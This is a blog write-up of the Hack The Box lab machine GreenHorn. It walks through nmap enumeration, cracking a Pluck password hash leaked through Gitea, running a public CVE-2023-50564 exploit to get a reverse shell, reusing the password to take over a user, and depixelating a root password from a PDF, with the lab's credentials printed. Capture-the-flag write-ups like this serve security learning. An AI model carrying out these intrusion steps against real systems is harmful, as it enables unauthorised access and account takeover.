RSS Amplifier

Nathan Ellison · Dec 28, 2024

Hack The Box - GreenHorn

0
Sign in to vote or save

Nathan Ellison

GreenHorn is an easy difficulty machine from Hack The Box. It contains a website that was created using a version of the Pluck content management system that is vulnerable to an authenticated arbitrary file upload. There is also a Gitea instance running on the box that leaks the Pluck admin password hash. After cracking the hash and logging into Pluck, the arbitrary file upload vulnerability is abused to gain a reverse shell. Reusing the cracked password against one of the user accounts leads to the takeover of that account. After gaining a foothold, a PDF with a pixelated password is discovered in the user’s /home directory. Using an open source tool, the password is depixelated, and used to gain access to the root user.


Enumeration

Enumeration started with an nmap scan.

Nmap

nmap -sCV -oN scan --reason --stats-every=30s TARGET-IP

After the scan finished, it produced the following results.

Nmap scan report for TARGET-IP
Host is up, received syn-ack (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open  ppp?    syn-ack
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=0d28aeb6e0069264; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=6j0kLhjWWNJUajBBP-n4-7l1Dew6MTcyMzM1Njg5MTM5NjUyMTMzOQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 11 Aug 2024 06:14:51 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=94aebeee31a50274; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=f7ooldYO3otP3pqjat8JxH6Rz9A6MTcyMzM1Njg5NzY4MDcwMzU2NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 11 Aug 2024 06:14:57 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

...<SNIPPED FINGERPRINT>...

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.86 seconds

From the output, I could see that the following ports were open and listening:

Port Service Remarks
22 SSH Remote login
80 HTTP Web server
3000 ¯\_(ツ)_/¯ ¯\_(ツ)_/¯

nmap couldn’t identify which service was running on port 3000, and it included a massive fingerprint of the service (which I removed for the sake of readability). Port 80 was the most logical place to begin the enumeration, as it would provide context around the server that I was attacking.

The scan results showed that the box was forwarding requests to http://greenhorn.htb, which was also evident when trying to navigate directly to the IP of the box in a web browser:

we’re having trouble finding that site

I added the target IP address to my /etc/hosts file to get around this:

TARGET-IP   greenhorn.htb

With that out of the way, I began enumerating the box’s website.

Website

The website appeared to be some kind of blog. It described a community of web developers aimed at getting junior devs started in their careers of writing HTML and CSS (that’s what web devs do right?).

plucky little blog

The footer of the site showed that it was powered by a technology called pluck. After a quick Google, I learned that pluck is a lightweight open source content management system written in PHP. It wasn’t immediately apparent which version was running on the box, and so further enumeration was required.

robots.txt

I checked to see if there was a robots.txt file, and indeed there was.

1User-agent: *
2Disallow: /data/
3Disallow: /docs/

Attempting to navigate to those locations led back to the homepage, and to a 403 Forbidden page respectively. Not a lot to see there.

Pluck Docs

Clicking the pluck link at the bottom of the website homepage led to the Pluck GitHub repo wiki, which was where the documentation for Pluck was kept.

Something that I always like to do when I read the documentation of an application that I’m testing is to find out how passwords and authentication are handled. What format are the credentials stored in? Where are they stored? What kind of database does the app use?

The documentation for Pluck was quite small, and so there weren’t many places to look. On the bottom of the Frequently Asked Questions page, there was an entry for changing the password:

change that password already

The documentation had given me the location of the password hash for Pluck. All I needed to do was read the value of $ww in data/settings/pass.php. The only problem with that was that I didn’t have the application source code that was in use on the server. Or did I?

CVE-2023-50564

Going back to the website homepage, clicking on the admin link at the bottom led to a login page.

pluck login

This page revealed the verison of Pluck that was in use: 4.7.18. With this information in hand, I went to see if there were any exploitable vulnerabilities that I could use. It didn’t take long to find one…

A quick Google showed that version 4.7.18 of Pluck was vulnerable to an arbitrary file upload. This would allow an attacker to upload a PHP web shell, leading to remote code execution. There was just one problem, I needed to be able to log into Pluck to exploit this vulnerability. I didn’t know the password, but I knew where Pluck kept it. Then I remembered that nmap showed that there was another port open…

Gitea

nmap showed that port 3000 was open, and navigating to http://TARGET-IP:3000 revealed an installation of Gitea running on the box. Gitea is like a self-hosted version of GitHub.

gitea!

I clicked on Explore to see if there were any projects that were viewable, and sure enough there was one; GreenHorn. It was the source code for the instance of Pluck that was running on the box. The first place I checked was data/settings/pass.php, and there I found the password hash.

1<?php
2$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
3?>

I chucked the hash into CrackStation, and after I proved that I wasn’t a robot for the umpteenth time in my short human life, it revealed the password to be iloveyou1.

i <3 u

Foothold

From my earlier research, I knew that the box was vulnerable to CVE-2023-50564, and it didn’t take much googling to find an exploit that I could use against the box.

I found this exploit script on GitHub, written in Go. It required the following information to be supplied before launching an attack:

  • Target IP address
  • Port to receive the reverse shell on
  • Pluck password
  • Base URL of the vulnerable Pluck installation

Putting everything together, I ran the following command to attempt to gain a reverse shell:

go run exploit.go -i 'TARGET-IP' -p 4444 -password 'iloveyou1' -url 'http://greenhorn.htb'

However… this didn’t work. Instead, I got the following error:

panic: Post "http://greenhorn.htb/login.php": proxyconnect tcp: dial tcp [::1]:8080: connect: connection refused

Digging into the script code showed that it was attempting to proxy the traffic through http://localhost:8080.

38loginRequest.Header.Add("Content-Type", "application/x-www-form-urlencoded")
39jar, _ := cookiejar.New(nil)
40proxyUrl, _ := url.Parse("http://localhost:8080")
41transport := &http.Transport{ Proxy: http.ProxyURL(proxyUrl) }

The Burp Suite proxy listens on localhost:8080. To enable the script to proxy traffic through localhost:8080 without needing to modify the code, I started burp with intercept disabled.

Running the script again successfully returned a reverse shell. I upgraded the shell using python:

listening on [any] 4444 ...
connect to [ATTACKER-IP] from (UNKNOWN) [TARGET-IP] 37104
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@greenhorn:~/html/pluck$

Post Exploitation

After gaining the reverse shell, I landed on the server as the www-data user.

Lateral Movement

The first thing that I did was check the /etc/passwd file to get the names of the other users on the box. Given that I already had a valid password, I wanted to see if any users had been foolish enough to reuse that password.

cat /etc/passwd | grep /bin

There were only three users on this particular box:

root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash

I checked the junior user first:

www-data@greenhorn:~/html/pluck$ su junior
Password:
junior@greenhorn:/var/www/html/pluck$

Just like that, I took over the junior user account. I couldn’t SSH into the box as junior as they were configured to log in with SSH keys (which I didn’t have), so I had to stick to using the reverse shell.

Pixely PDF

After taking over the junior user account, I checked their /home directory to see if there were any interesting files in there. There was one; Using OpenVAS.pdf. Downloading files with spaces in the name using wget is a pain because of the spaces getting URL encoded, so I just copied the file and named it something more managable.

cp 'Using OpenVAS.pdf' ./using-openvas.pdf

I then started a python web server on the target so that I could pull the file off of it.

python3 -m http.server

Next, I downloaded my copy of the file.

wget http://TARGET-IP:8000/using-openvas.pdf

Opening the file showed something very interesting indeed.

mmm pixely password i see

That pixelated password was going to allow me to takeover root, but obviously I couldn’t read it in that pixely form. Back to Google I went.

Depixelate

At first I googled for PDF enhancers, which got me nowhere. The password was much too pixelated for a simple text enhancement. Googling specifically for how to depixelate passwords from PDFs led me to the tool Depix. It uses “search images” (which are just images of a certain typeface on top of a coloured background) to attempt to depixelate passwords like the one in the PDF that I downloaded from the box.

For Depix to be able to do it’s job, it needed to be fed an image file that contained all of the password pixels. The pixelated password in the PDF was an image, and there were a couple of methods available for extracting it.

The most simple method was to right click the pixelated image and click Save Image As..., but where’s the fun in that?

save image as

The more programmatic (and over the top) method was to use the popular pdf toolkit poppler-utils. It contains a utility pdfimages that is able to extract all images files from a PDF. It needs to know the following information:

  • The page of the PDF to start from
  • The page of the PDF to end on
  • The format to output the images as
  • The name of the PDF file to extract images from
  • A name for the output image(s)

I began by installing poppler-utils:

sudo apt install poppler-utils

After it was installed, I extracted the image from the PDF using pdfiamges:

# start on page 1, end on page 1, output as PNG, from using-openvas.pdf file, and name the output "out-image"
pdfimages -f 1 -l 1 -png using-openvas.pdf out-image

Finally, I ran Depix on the pixelated image using the debruinseq_notepad_Windows10_closeAndSpaced.png image from the Depix repo as the search image:

python3 depix.py -p out-image-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o depixelated.png

The result it produced was quite impressive, considering what it started with.

depixelated password

There was the password clear as day; sidefromsidetheothersidesidefromsidetheotherside

Root

With the password in hand, all that was left to do was to switch to the root user.

junior@greenhorn:~$ su root
Password:

root@greenhorn:/home/junior#

References

Read the original on nathan-ellison.com

Comments

Nothing yet. Say the first thing.

    Sign in to join the conversation.